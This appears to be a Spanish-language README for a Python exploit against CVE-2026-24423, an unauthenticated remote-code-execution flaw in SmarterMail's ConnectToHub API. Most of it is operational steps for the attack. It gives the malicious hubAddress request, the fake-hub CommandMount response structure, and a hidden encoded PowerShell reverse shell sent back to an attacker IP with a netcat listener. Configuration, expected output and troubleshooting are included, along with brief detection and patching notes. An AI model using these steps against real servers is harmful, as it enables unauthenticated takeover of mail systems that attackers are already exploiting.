
Exploit para CVE-2026-24423 — una RCE crítica no autenticada en la API ConnectToHub de SmarterMail. Afecta a todas las compilaciones anteriores a la 9511.
Un exploit basado en Python para CVE-2026-24423, una vulnerabilidad de Ejecución Remota de Código no autenticada en la funcionalidad ConnectToHub de SmarterTools SmarterMail.
Uso previsto: Solo pruebas de seguridad autorizadas, CTFs, laboratorios de Hack The Box y entornos de investigación controlados.
CVE-2026-24423 es una vulnerabilidad de Ejecución Remota de Código no autenticada que afecta a SmarterTools SmarterMail.
La vulnerabilidad existe en la funcionalidad ConnectToHub. Un atacante no autenticado puede proporcionar un hubAddress malicioso, lo que provoca que el servidor SmarterMail realice una solicitud HTTP a un servidor controlado por el atacante.
El servidor malicioso responde con una respuesta setup-initial-connection manipulada que contiene un valor SystemMount.CommandMount controlado.
La instancia vulnerable de SmarterMail procesa posteriormente este valor como un comando del sistema operativo, permitiendo la ejecución arbitraria de comandos en el contexto de seguridad del servicio SmarterMail.
A la vulnerabilidad se le asignó una puntuación CVSS 4.0 de 9.3 (Crítica) y está clasificada como CWE-306: Autenticación faltante para una función crítica.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-24423 |
| Proveedor | SmarterTools |
| Producto | SmarterMail |
| Vulnerabilidad | Ejecución Remota de Código no autenticada |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Crítico |
| CVSS v3.1 | 9.8 Crítico |
| Vector de Ataque | Red |
| Autenticación | Ninguna |
| Interacción del Usuario | Ninguna |
| Complejidad | Baja |
| Publicado | 23 de enero de 2026 |
| Compilación Corregida | 9511 |
El registro oficial del CVE describe el problema como un RCE no autenticado a través del método de API ConnectToHub.
Las versiones de SmarterMail anteriores a la Compilación 9511 están afectadas.
El registro del CVE especifica el rango afectado como:
SmarterMail < 100.0.9511
La compilación 9511, publicada el 15 de enero de 2026, contiene la corrección del proveedor.
< 100.0.9511
>= 100.0.9511
Verifique siempre la compilación instalada exacta antes de intentar reproducir la vulnerabilidad.
La funcionalidad vulnerable se expone a través de la API de administración del sistema SmarterMail.
La operación relevante es:
/api/v1/settings/sysadmin/connect-to-hub
El endpoint acepta un parámetro hubAddress.
Conceptualmente, un atacante puede proporcionar:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMail se conecta entonces a la dirección del hub proporcionada y solicita:
/web/api/node-management/setup-initial-connection
El servidor controlado por el atacante responde con JSON que contiene un objeto SystemMount malicioso.
La propiedad importante es:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
El valor CommandMount es utilizado posteriormente por la aplicación vulnerable como un comando del sistema operativo.
Esto permite a un atacante pasar de:
Solicitud HTTP no autenticada
a:
Ejecución remota de comandos
El análisis técnico de VulnCheck confirma que el hubAddress controlado por el atacante hace que SmarterMail solicite el endpoint setup-initial-connection del atacante y que el CommandMount devuelto puede proporcionar ejecución arbitraria de comandos.
El exploit consta de dos componentes:
El servidor Python escucha en:
POST /web/api/node-management/setup-initial-connection
y devuelve una respuesta JSON manipulada que contiene el SystemMount.CommandMount malicioso.
Un listener TCP separado recibe la conexión iniciada por el comando ejecutado en el objetivo.
Este exploit utiliza intencionalmente dos puertos separados.
8081
└── Hub Falso de SmarterMail
4455
└── Listener de Reverse Shell
flowchart LR
A[Atacante<br/>10.10.14.50]
H[Hub Falso de SmarterMail<br/>TCP/8081]
T[Objetivo SmarterMail<br/>10.129.57.86]
C[CommandMount<br/>Ejecución de Comandos]
P[PowerShell]
L[Listener de Reverse Shell<br/>TCP/4455]
A -->|Activar ConnectToHub| T
T -->|HTTP POST| H
H -->|JSON Malicioso| T
T -->|CommandMount| C
C --> P
P -->|TCP inverso| L
L --> AObjetivo
|
| HTTP
v
10.10.14.50:8081
Objetivo
|
| TCP
v
10.10.14.50:4455
Estos puertos sirven para diferentes propósitos y no deben confundirse.
El exploit utiliza únicamente módulos de la biblioteca estándar de Python:
http.server
json
base64
No se requieren paquetes externos de Python.
Edite las siguientes variables:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Para el entorno de ejemplo de HTB:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST es la dirección IP del atacante a la que el objetivo puede acceder.
Para Hack The Box, normalmente es la IP asignada a la interfaz VPN de HTB:
ip addr show tun0
Ejemplo:
tun0:
inet 10.10.14.50
Por lo tanto:
LHOST = "10.10.14.50"
LPORT es el puerto TCP utilizado por el atacante para recibir la conexión inversa.
Ejemplo:
LPORT = 4455
HUB_PORT es el puerto HTTP utilizado por el hub malicioso de SmarterMail.
Ejemplo:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
Edite:
nano exploit.py
Establezca:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
Abra una terminal:
nc -lvnp 4455
Salida esperada:
Listening on 0.0.0.0 4455
Mantenga esta terminal abierta.
Abra una segunda terminal:
python3 exploit.py
Si la vinculación al puerto seleccionado requiere privilegios elevados:
sudo python3 exploit.py
Salida esperada:
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Waiting for SmarterMail...
============================================================
Envíe la solicitud adecuada a la instancia vulnerable de SmarterMail.
El hubAddress proporcionado debe apuntar al servidor HTTP malicioso:
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
El valor importante es:
http://10.10.14.50:8081
No utilice el puerto del reverse shell como puerto del hub.
| Propósito | IP | Puerto |
|---|---|---|
| VPN del Atacante | 10.10.14.50 | — |
| Hub Falso de SmarterMail | 10.10.14.50 | 8081 |
| Reverse Shell | 10.10.14.50 | 4455 |
| Objetivo HTB | 10.129.57.86 | — |
El flujo resultante es:
hubAddress
↓
10.10.14.50:8081
↓
CommandMount malicioso
↓
PowerShell
↓
10.10.14.50:4455
El exploit crea dinámicamente el payload de PowerShell.
El parámetro -EncodedCommand de PowerShell espera que el comando se codifique en UTF-16LE antes de la codificación Base64.
El script realiza:
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
El comando final se estructura como:
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>
Esto evita la codificación manual del payload y previene errores comunes de codificación UTF-8/UTF-16LE.
Cuando el objetivo alcanza el hub malicioso:
[+] Received SmarterMail connection
[+] Path: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sending CommandMount payload
[+] Reverse shell -> 10.10.14.50:4455
El listener de reverse shell debería recibir posteriormente una conexión:
Connection received on 10.129.57.86 XXXXX
Una vez conectado, se puede realizar una validación básica:
whoami
hostname
Compruebe que el servidor está escuchando:
ss -lntp | grep 8081
Verifique la dirección VPN:
ip addr show tun0
Confirme que LHOST coincide con la dirección accesible desde el objetivo.
Una solicitud HTTP exitosa significa que la primera etapa está funcionando:
Objetivo
|
| HTTP
v
Hub Falso :8081
No significa necesariamente que la segunda etapa haya tenido éxito.
Compruebe:
ss -lntp | grep 4455
Asegúrese de que Netcat se inició antes de activar el exploit.
También verifique:
LHOST = IP del atacante accesible desde el objetivo
LPORT = puerto del listener
Si ve:
POST /web/api/node-management/setup-initial-connection
dentro de Netcat, ha apuntado hubAddress al listener de reverse shell.
Incorrecto:
hubAddress = http://10.10.14.50:4455
Correcto:
hubAddress = http://10.10.14.50:8081
Los dos puertos deben permanecer separados.
Una respuesta 400 puede ocurrir cuando el hub falso no devuelve la estructura esperada por SmarterMail.
Verifique que la respuesta contenga:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
También asegúrese de que la ruta solicitada sea exactamente:
/web/api/node-management/setup-initial-connection
El análisis público de la vulnerabilidad identifica este endpoint como parte del flujo vulnerable de ConnectToHub.
Añada aquí capturas de pantalla del laboratorio HTB.
Ejemplo:

Captura sugerida:

Muestre:
[+] Received SmarterMail connection
[+] Sending CommandMount payload

Muestre la solicitud que contiene:
{
"hubAddress": "http://10.10.14.50:8081"
}

Muestre:
Connection received on 10.129.57.86
y el prompt de comandos resultante.
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
├── nmap.png
├── burp-request.png
├── fake-hub.png
└── reverse-shell.png
Los posibles indicadores de explotación incluyen solicitudes inesperadas a:
/api/v1/settings/sysadmin/connect-to-hub
y conexiones salientes desde el servidor SmarterMail a hosts HTTP previamente desconocidos.
Los administradores también deben revisar los registros de aplicación, IIS/reverse-proxy y de red para detectar actividad sospechosa de ConnectToHub.
CVE-2026-24423 se ha incluido en el catálogo de Vulnerabilidades Explotadas Conocidas de CISA, lo que indica que se ha observado explotación fuera de entornos de laboratorio.
La remediación principal es actualizar SmarterMail a la Compilación 9511 o posterior. La versión del proveedor del 15 de enero de 2026 abordó la vulnerabilidad.
Cuando no sea posible aplicar el parche de inmediato, las organizaciones también deberían considerar:
ConnectToHub.Este proyecto se proporciona únicamente para investigación de seguridad autorizada y fines educativos.
No utilice este exploit contra sistemas que no posea o para los que no tenga permiso explícito de prueba.
El autor no asume ninguna responsabilidad por el uso indebido, daños, pérdida de datos, acceso no autorizado u otras consecuencias derivadas del uso de este software.
Utilícelo solo en entornos controlados como:
CVE-2026-24423 fue acreditado a:
El CVE fue publicado por VulnCheck el 23 de enero de 2026.